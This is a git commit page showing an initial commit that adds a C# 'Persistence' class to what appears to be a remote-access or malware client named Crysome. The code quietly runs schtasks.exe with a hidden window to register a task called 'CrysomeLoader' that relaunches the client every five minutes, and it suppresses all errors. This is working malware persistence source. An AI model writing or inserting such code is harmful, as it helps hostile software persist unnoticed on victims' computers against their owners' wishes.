initial commit
This commit is contained in:
@@ -0,0 +1,32 @@
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Crysome.Client.Configuration;
|
||||
|
||||
public static class Persistence
|
||||
{
|
||||
public static void Install()
|
||||
{
|
||||
if (!ClientConfiguration.Persistence)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
string processPath = ClientConfiguration.GetProcessPath();
|
||||
if (!string.IsNullOrEmpty(processPath))
|
||||
{
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = "schtasks.exe",
|
||||
Arguments = "/create /tn \"CrysomeLoader\" /tr \"" + processPath + "\" /sc minute /mo 5 /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
})?.WaitForExit(10000);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user